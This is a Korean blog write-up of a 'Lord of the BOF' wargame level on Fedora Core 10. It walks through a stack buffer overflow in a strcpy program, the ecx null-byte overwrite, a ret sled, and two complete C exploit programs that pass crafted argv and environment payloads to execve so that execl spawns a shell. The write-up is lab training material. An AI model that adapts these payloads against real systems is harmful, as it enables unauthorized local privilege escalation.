[출처]http://www.codeengn.com/archive/Reverse%20Engineering/Buffer%20Overflow/Smashing%20the%20stack%20%5B%EC%B5%9C%EC%9E%AC%EC%98%81%5D.pdf


/*

The Lord of the BOF : The Fellowship of the BOF 

- balog

- Local BOF on Fedora Core 10 

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <string.h>


int main(int argc, char *argv[])

{

        char buffer[256];

        if(argc != 2)

        {

                printf("argc Error!!\n");

                exit(-1);

        }


// overflow!!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        return 0; 

}



소스코드를 보면 strcpy로 입력 값을 buffer에 복사하고 printf로 출력한다.

달라진 점은 fedora core 5 이후 환경에서는 프롤로그와 에필로그이다.





(gdb) disas main               


//프롤로그


Dump of assembler code for function main:

0x08048414 <main+0>: lea    ecx,[esp+0x4]

0x08048418 <main+4>: and    esp,0xfffffff0

0x0804841b <main+7>: push   DWORD PTR [ecx-0x4]

0x0804841e <main+10>: push   ebp

0x0804841f <main+11>: mov    ebp,esp

0x08048421 <main+13>: push   ecx




//에필로그

0x0804848a <main+118>: pop    ecx
0x0804848b <main+119>: pop    ebp
0x0804848c <main+120>: lea    esp,[ecx-0x4]
0x0804848f <main+123>: ret   








 스택을 보면 위 그림과 같다.

에필로그 할 때는 lea esp,[ecx-4] 로 esp를 RET주소에 옮기고 ret한다.




위와 같은 프롤로그와 에필로그를 하게 되면 오버플로우를 통해 ret 영역을 변경하기가 쉽지 않다.

이유는 ASLR이 걸려있어 ecx를 정확히 알아내기 어렵기 때문이다.








위 그림은 스택구조이다. (왼쪽 공격 전, 오른쪽 공격 후 )


이 문제를 exploit 하기 위해서는 buffer 마지막 4바이트를 제외하고 나머지는 ret가젯 주소로 overwriting 한다.

그리고 마지막 4바이트는 main+112를 채워준다. 이렇게 buffer에 256바이트를 전부 채우면 ecx에 1바이트 0x00이 덮어씌워지게 된다.

그러면 ecx가 낮은 주소 방향을 가리킬 것이고,  에필로그를  통해 buffer쪽 ret가젯이 실행되면서 ret sled할 것이다.


마지막 4바이트는 다음과 같다.

0x08048484 <main+112>: add    esp,0x114

0x0804848a <main+118>: pop    ecx

0x0804848b <main+119>: pop    ebp

0x0804848c <main+120>: lea    esp,[ecx-0x4]

0x0804848f <main+123>: ret  



esp 는 환경변수가 위치한 영역을 가리키게 될 것이고 segmentation fault가 뜰 것이다.





#include <stdlib.h>


int main()

{

char *environ[] = {

"E1",

"E2",

"E3",

"E4",

"E5",

"E6",

"E7",

"E8",

"E9",

"E10",

"E11",

"E12",

"E12",

"E13",

"E14",

"E15",

"E16",

"E17",

"E18",

"E19",

"E20",

"E21",

"E22",

"E23",

"E24",

"E25",

"E26",

"E27"

"E28",

"E29",

"E30",

0};


char *argv[] = {"./balo3","\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x84\x84\x04\x08", 0};


execve("./balo3", argv, environ);

}





컴파일하고 실행시켜주면 에러가 난다. 코어파일을 보면


[titan@Fedora_3rdFloor ~]$ gdb -c core.21633 

.

.

.

Program terminated with signal 11, Segmentation fault.

[New process 21633]

#0  0x00353262 in ?? ()

(gdb) x/s $esp

0xbfc17fe1: "E26"



현재 E25에서 리턴하려다가 에러난 것이기 때문에 아래와 같이 구성해주면 된다.

E24 | execl | E26 | &sh | &sh | NULL | ...




함수주소

execl = 0x2f6ac0 

&/bin/sh = 0x396db5

&sh = 0x396db5+5 = 0x396dba


홈디렉터리에서 권한 상 쉘을 씌울 수 없기 때문에 /tmp에 sh 파일을 만들어준다.




#include <stdlib.h>


int main()

{

char *environ[] = {

"E1",

"E2",

"E3",

"E4",

"E5",

"E6",

"E7",

"E8",

"E9",

"E10",

"E11",

"E12",

"E12",

"E13",

"E14",

"E15",

"E16",

"E17",

"E18",

"E19",

"E20",

"E21",

"E22",

"E23",

"E24",

"\xc0\x6a\x2f\x00",             // execl

"E26",    // dummy

"\xba\x6d\x39",    // sh

"\xba\x6d\x39",    // sh

"\x00","\x00","\x00","\x00", // NULL (이렇게 해주는 이유는 NULL을 "\x00\x00\x00\x00" 으로 하면 제대로 안들어감)

"E30",

0};


char *argv[] = {"./balo3","\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x84\x84\x04\x08", 0};


execve("./balo3", argv, environ);

}




그리고 홈디렉토리 balog 파일을 /tmp에 balo3으로 심볼릭 링크 걸어둔다.

다시 한번 말하지만 중요한 점은 홈디렉토리에 sh파일을 만들어주면 권한 상 실행이 안됨.

(홈디렉토리인 titan의 권한을 보면 titan 이외의 권한은 모두 0임. 그래서 balog가 sh을 실행할 수 없음)
























'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] enigma -> titan  (0) 2015.12.01
[Fedora4] cruel -> enigma  (0) 2015.11.29
[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23

+ Recent posts